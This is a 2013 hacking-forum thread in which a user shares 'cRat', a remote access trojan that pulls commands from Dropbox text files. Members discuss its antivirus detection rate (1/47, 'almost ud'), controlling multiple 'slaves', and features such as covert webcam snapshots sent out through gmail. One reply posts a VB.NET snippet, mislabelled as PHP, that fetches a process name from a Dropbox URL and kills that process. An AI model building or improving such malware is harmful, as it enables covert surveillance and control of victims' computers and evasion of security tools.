Thread: [\[Open Source\] cRat | Using Dropbox | Free | No Portforwarding |](#)

calvv - June 9, 2013, 6:17 am

Done with my project..

How to install

Tips

Do whatever you want with this program/code, I'm just glad to share this with you guys, please do not hate on me, since im not a professional coder, I just did this for fun and I do not expect anything from it, it had just been a fun project to work on until summer. Thanks again! (don't expect a perfect code)

Virusscan 1/47 -

<https://www.virustotal.com/sv/file/8f323c18bd2133cc0505abb06bcd1d7b453afc3417cce2a01cf4593f40d02dc4/analysis/1370786681/>

since I wont be able to update this thread for ever, every new update will be on this link - [UPDATES](#)

deiski - June 9, 2013, 6:18 am

Interesting, very interesting, I'll check this out later, thanks.

Anon?M ID - June 9, 2013, 6:30 am

really interesting :)
thanks for the share mate.

Qmz_ - June 9, 2013, 8:20 am

Looks interesting, I'll check this later today! :)

log dot zip - June 9, 2013, 8:27 am

The word interesting has been used a lot in this thread. Interesting.

tweety - June 9, 2013, 8:28 am

Dropbox disables hotlinking when a file gets downloaded too much. This is a little pointless as each build won't last long. But the idea and concept is nice, so props to you for that.

Madara-Uchiha - June 9, 2013, 9:05 am

First: Really nice project.

I like it very much :)

You should add more features in future updates.

Here are some suggestions of improvment:

- The Screenshot should be bigger. I mean the image is very small.
- Add a save option for Screenshot. To save the Image locally.
- Kill explorer and kill process not working for me ?
- Manage multiple users, appearing in a ListView
- Add Filemanager. Maybe difficult but would be the Overkill feature :)

I'm also working on a RAT which does not require portforwarding.

But it uses an FTP Server, not DropBox.

I really like your concept, maybe we can talk in Skype about some things :)

I hope you'll continue this awesome work and try to make it more stable!

Good luck! ?

calvv - June 9, 2013, 10:17 am

Heh, kind of have to agree with this man.

Dropbox isn't a place for hiding malware.

Good original idea OP. Its good that someone is exploring unique ideas for this type of thing.~

Madara-Uchiha - June 11, 2013, 7:05 am

@calvv

Could you fix the bugs in kill process and kill explorer?

And what functions do you think you can add in the next update?:)

calvv - June 11, 2013, 7:24 am

And what functions do you think you can add in the next update?:)

I have fixed the function "Killprocess" if you download the latest version (big download button)

Else further updates will be added to the link in the end of the thread :)

I don't really know what functions/features i'll be able to add but something that would be nice is;

- Webcam "snapshot" (don't know how to add this, but will try to find a source)
- Random mouse movement (know how to add this)
- Startprocess (know how to add this)

Something like that, but i don't know if i'll be able to add those functions @ the moment :/

Give me a tip what feature would be nice to see! and i am woundering to make a rat connecting to a webhost, so i can upload things from the acual rat to the database so that i don't need to send for example pictures in Base64 Code :)

Madara-Uchiha - June 11, 2013, 7:31 am

Sounds cool.

Thx for your quick reply.

For webcam, I may can help you. Look into Directshow.Net

It can read nearly all webcam drivers and is easy to use in .Net

For example if a person has multiple cams, you list all drivers.

Let's say there are three. Then you send the list to the Rat Control Center.

There we can select the driver.

Then after you've chosen one, it sends a Command back like:

Code WebCamDrivers[1]Then it makes a webcam shot with driver one.

This will prevent the Select Video Source Popup Window.

Then Send the snapshot back via gmail as base64.

I know, it's not easy, but if you can accomplish that, it will srsly become the Overkill Boss feature for a Dropbox RAT.

Good look.

By the way, how you think about a filemanager? :)

calvv - June 11, 2013, 7:35 am

Thanks, will look it up :)

Yeah, a filemanager would be nice, but I don't really know how to do it since the rat itself can't send back data, except as an email so i think it would be hard to do that :/

In the newest Update the sub "KillProcess" Should look like this

and in the old one like this

Hexology - June 11, 2013, 4:53 pm

(Jun 11, 2013 04:42 PM)calvv Wrote: [\[CITE\]](#) In the newest Update the sub "KillProcess" Should look like this

and in the old one like this

Put that in a for each loop. then inside that put Try

/Credits [BlueMelon](#)

PHP Code

<?php

Dim local As Process() = Process.GetProcesses

Dim Processtokill As String = New WebClient().downloadstring(

"https://dl.dropboxusercontent.com/u/" & ID & "/cRat/cRat-KillProcess.txt")

Dim i As Integer

For i = 0 To local.Length - 1

Try

```
Debug.WriteLine(local(i).ProcessName)
If Strings.UCase(local(i).ProcessName) = Strings.UCase(Processtokill)
local(i).Kill()
End if
Catch ex As Exception
MessageBox.Show(ex.message)
End try
Next
```

Oscura - June 12, 2013, 6:12 am

Very nice job, I really like it.

It's a very clean source, and I've never seen a RAT with dropbox.

Silentflow - July 14, 2013, 1:05 pm

Nice share how about the stub output?

Is it UD?

nuk - July 14, 2013, 1:15 pm

I have no need for this...yet :) But honestly seems like a very HQ project :) Awesome work and thanks for sharing :)

calvv - July 15, 2013, 6:23 am

(Jul 14, 2013 01:05 PM)DutchManiac Wrote: [\[CITE\]](#) Nice share how about the stub output?

Is it UD?

No that's the 1/47 detection, but almost ud ;)

Madara-Uchiha - July 15, 2013, 6:24 am

Hey,

long time no talk, hows your RAT going.

Is it really finsihed? Why not adding some more features:) ?

Marwix - July 15, 2013, 6:26 am

Very interesting :D

good work bro ;)

Kotei - July 15, 2013, 8:23 am

It's a nice concept, but Tweety pointed out the biggest flaw in it all. Eventually I'll try to tinker with it to work with a different cloud system that won't ruin the concept.

Kawop - July 24, 2013, 1:35 am

Do you mind to add user gestion/multi user in a listbox ?

.?cb. - July 24, 2013, 1:41 am

Nice project, but dropbox isn't the best choice to use malware with it, they scan his servers with avs, so they can keep samples and if any detection of malware they close your account ..

calvv - July 24, 2013, 1:42 am

(Jul 24, 2013 01:35 AM)Kawop Wrote: [\[CITE\]](#) Do you mind to add user gestion/multi user in a listbox ?

You mean so you can choos what computer you wanna send the commands to if there are multiple "slaves"?

(Jul 24, 2013 01:41 AM).?cb. Wrote: [\[CITE\]](#) Nice project, but dropbox isn't the best choice to use malware with it, they scan his servers with avs, so they can keep samples and if any detection of malware they close your account ..

Its only some textfiles on the server (dropbox), you are not suppose to have to exe on dropbox, but you can :)

Trollkarlen - July 25, 2013, 1:54 pm

Thanks for the source code and well done ?

CyberTechnologyInc - July 25, 2013, 3:10 pm

That's a good idea :D

Also to fix the bug that you can't send commands too quickly, why don't you just make it so it sends clear straight after every command?

That should fix it....

Kawop - July 25, 2013, 3:32 pm

Quote:You mean so you can choos what computer you wanna send the commands to if there are multiple "slaves"?

Yes it's what i want to mean ?

calvv - July 25, 2013, 3:49 pm

(Jul 25, 2013 03:32 PM)Kawop Wrote: [\[CITE\]](#) Yes it's what i want to mean ?

Yeah I have been wondering about that, and if I'm gonna make a update for the program I will differently add that ?

and I think that I have an idea of how I shall do it!

(Jul 25, 2013 03:10 PM)CyberTechnologyInc Wrote: [\[CITE\]](#) That's a good idea :D

Also to fix the bug that you can't send commands too quickly, why don't you just make it so it sends clear straight after every command?

That should fix it....

Yeah but the problem is just that dropbox don't upload so quickly that the program which neither "updates" so quickly, which means that some commands will be "skipped" due to that the program only speaks one way :/

Doctor07 - July 25, 2013, 4:01 pm

Very interesting indeed, I'll check this out later when I'm on my PC.

CyberTechnologyInc - July 25, 2013, 4:50 pm

AHH, I see the problem... Why don't you add a textbox so that people can set their dropbox id in it, instead of having to force users to edit the project? (J/s it'd be easier for people without a VB.Net IDE)

Also add like a few methods to it maybe? Like FTP would be faster, I think... :p

oxivhack - September 10, 2013, 3:12 pm

Hello, thank you for sharing calvv your dropbox rat for Update.zip file is empty.

It's great project, I never seen a rat dropbox, you're missing on the right track, I congratulate you.

I by against a problem, I can not use the screenshot, I can not do the installation files or other.

Sincerely.

:)

MrRapidz - September 11, 2013, 4:18 am

(Jul 25, 2013 03:49 PM)calvv Wrote: [\[CITE\]](#) Yeah I have been wondering about that, and if I'm gonna make a update for the program I will differently add that ?
and I think that I have an idea of how I shall do it!
That would be nearly impossible? mind explaining your idea ;)

calvv - September 11, 2013, 7:29 am

(Sep 11, 2013 04:18 AM)MrRapidz Wrote: [\[CITE\]](#) That would be nearly impossible? mind explaining your idea ;)
no it would be possible, but it will be a bit tricky..
For example one client is called "Client 1"
and the second is "Client 2" and so on...
then you have a text document on dropbox, which the selected client name is written. Then the program reads the text document > checks if that is the client > if so execute the command.
But then the problem comes in, you will have to "name" each rat to a different name for each slave.
which wouldn't be practical thought :L

(Sep 10, 2013 03:12 PM)oxivhack Wrote: [\[CITE\]](#) Hello, thank you for sharing calvv your dropbox rat for Update.zip file is empty.
